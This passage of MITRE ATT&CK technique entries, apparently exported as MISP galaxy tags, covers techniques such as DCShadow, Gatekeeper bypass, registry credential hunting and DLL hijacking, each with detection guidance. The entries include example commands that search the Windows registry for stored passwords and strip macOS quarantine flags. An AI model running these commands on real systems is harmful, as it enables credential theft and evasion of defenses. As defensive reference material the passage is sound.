Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)

Platforms: Windows

Data Sources: Authentication logs

System Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.

Windows Remote Management - T1028

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)

Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.

Platforms: Windows

Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator

System Requirements: WinRM listener turned on and configured on remote system

Remote Support: Yes

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Remote Management - T1028"

Launch Daemon - T1160

Per Apple's developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

Detection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.

Platforms: macOS

Data Sources: Process Monitoring, File monitoring

Effective Permissions: root

Permissions Required: Administrator

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Launch Daemon - T1160"

### Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in `<code>~/Library/Keychains/</code>, `<code>/Library/Keychains/</code> and `<code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The `<code>security</code>` command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.

Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.

Platforms: macOS
Audio Capture - T1123

An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.

Platforms: Linux, macOS, Windows

Data Sources: API monitoring, Process monitoring, File monitoring

Permissions Required: User

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Audio Capture - T1123"

Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.
Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

Detection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)

In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring

Requires Network: Yes

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024"

Graphical User Interface - T1061

Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.

Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions.

Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.
Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator, SYSTEM

Remote Support: Yes

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Graphical User Interface - T1061"

**DCShadow - T1207**

DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)

Detection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)

Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)

Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)
Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.

Platforms: Windows

Data Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture

Defense Bypassed: Log analysis

Permissions Required: Administrator

Contributors: Vincent Le Toux

**Gatekeeper Bypass - T1144**

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called `<code>com.apple.quarantine</code>`. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command `<code>xattr /path/to/MyApp.app</code>` for `<code>com.apple.quarantine</code>`. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, `<code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>`. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will
step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to
confirmation that they want to run the program and will even provide the URL where the
application came from. However, this is all based on the file being downloaded from a quarantine-
savvy application. (Citation: Bypassing Gatekeeper)

Detection: Monitoring for the removal of the `<code>com.apple.quarantine</code>` flag by a user
instead of the operating system is a suspicious action and should be examined further.

Platforms: macOS

Defense Bypassed: Application whitelisting, Anti-virus

Permissions Required: User, Administrator

**Credentials in Registry - T1214**

The Windows Registry stores configuration information that can be used by the system or other
programs. Adversaries may query the Registry looking for credentials and passwords that have
been stored for use by other programs or services. Sometimes these credentials are used for
automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab
Stored Credentials) *Local Machine Hive: `<code>reg query HKLM /f password /t REG_SZ /s</code>`
*Current User Hive: `<code>reg query HKCU /f password /t REG_SZ /s</code>`

Detection: Monitor processes for applications that can be used to query the Registry, such as Reg,
and collect command parameters that may indicate credentials are being searched. Correlate
activity with related suspicious behavior that may indicate an active intrusion to reduce false
positives.

Platforms: Windows

Data Sources: Windows Registry, Process command-line parameters, Process Monitoring

Permissions Required: User, Administrator
System Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.

**Exploitation for Privilege Escalation - T1068**

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.
When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.

Detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.

Higher privileges are often necessary to perform additional actions such as some methods of Credential Dumping. Look for additional activity that may indicate an adversary has gained higher privileges.

Platforms: Linux, macOS, Windows

Data Sources: Windows Error Reporting, Process monitoring, Application Logs

Effective Permissions: User

Permissions Required: User

System Requirements: In the case of privilege escalation, the adversary likely already has user permissions on the target system.

Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls -a</code> for Linux and macOS).

===Windows===

Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h</code>
filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

===Linux/Mac===

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: `<code>defaults write com.apple.finder AppleShowAllFiles YES</code>`, and then relaunch the Finder Application.

===Mac===

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Detection: Monitor the file system and shell commands for files being created with a leading “.” and the Windows command-line use of attrib.exe to add the hidden attribute.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Defense Bypassed: Host forensic analysis

Permissions Required: User

</tbody>
</table>
**Binary Padding - T1009**

Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.

Detection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.

When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.

Platforms: Linux, macOS, Windows

Defense Bypassed: Anti-virus, Signature-based detection

**Redundant Access - T1108**

Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)

Use of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.

Detection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.

Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.

If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic
is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.

For alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.

Platforms: Linux, macOS, Windows

</table>

Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol Detection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software.

A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.

Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)

**Plist Modification - T1150**

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. Plist files are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user’s privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

Detection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.

Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.

Platforms: macOS

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path

Permissions Required: User, Administrator

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Plist Modification - T1150"

Table 2808. Table References
DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

Detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

Platforms: Windows

Data Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring

Effective Permissions: User, Administrator, SYSTEM

Defense Bypassed: Process whitelisting

Permissions Required: User, Administrator, SYSTEM

System Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.
Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> and <code> HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable> </code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)

Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)
Platforms: Windows

Data Sources: Process Monitoring, Windows Registry, Windows event logs

Permissions Required: Administrator, SYSTEM

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Image File Execution Options Injection - T1183"

Data from Network Shared Drive - T1039

Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.

Adversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Process command-line parameters

System Requirements: Privileges to access network shared drive

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Network Shared Drive - T1039"

AppInit DLLs - T1103

Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code>` or `<code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code>` are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

Detection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)

Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

Platforms: Windows

Data Sources: Loaded DLLs, Process monitoring, Windows Registry

Effective Permissions: Administrator, SYSTEM

Permissions Required: Administrator

System Requirements: Secure boot disabled on systems running Windows 8 and later

Browser Bookmark Discovery - T1217

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.

Detection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.

Platforms: Linux, Windows, macOS

Data Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring

Standard Non-Application Layer Protocol - T1095

Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP)
however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Detection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Requires Network: Yes

**Netsh Helper DLL - T1128**

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

Detection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)

Platforms: Windows
Account Manipulation - T1098

Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)

Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.

Platforms: Windows

Data Sources: Authentication logs, API monitoring, Windows event logs, Packet capture

Re-opened Applications - T1164

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

Detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.

Platforms: macOS

Permissions Required: User

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Re-opened Applications - T1164"

Remote System Discovery - T1018

Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used.

===Windows===

Examples of tools and commands that acquire this information include "ping" or "net view" using Net.

===Mac===

Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems.

===Linux===

1156
Utilities such as "ping" and others can be used to gather information about remote systems.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network

**Permission Groups Discovery - T1069**

Adversaries may attempt to find local system or domain-level groups and permissions settings.

***Windows***

Examples of commands that can list groups are `<code>net group /domain</code>` and `<code>net localgroup</code>` using the Net utility.

***Mac***

On Mac, this same thing can be accomplished with the `<code>dscacheutil -q group</code>` for the domain, or `<code>dscl . -list /Groups</code>` for local groups.

***Linux***

On Linux, local groups can be enumerated with the `<code>groups</code>` command and domain groups via the `<code>ldapsearch</code>` command.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, Windows, macOS

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Permission Groups Discovery - T1069"

### Indirect Command Execution - T1202

Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.

Detection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)

Platforms: Windows

Data Sources: Process Monitoring, Process command-line parameters, Windows event logs

Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path

Permissions Required: User

Contributors: Matthew Demaske, Adaptforward

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Indirect Command Execution - T1202"

**File Deletion - T1107**

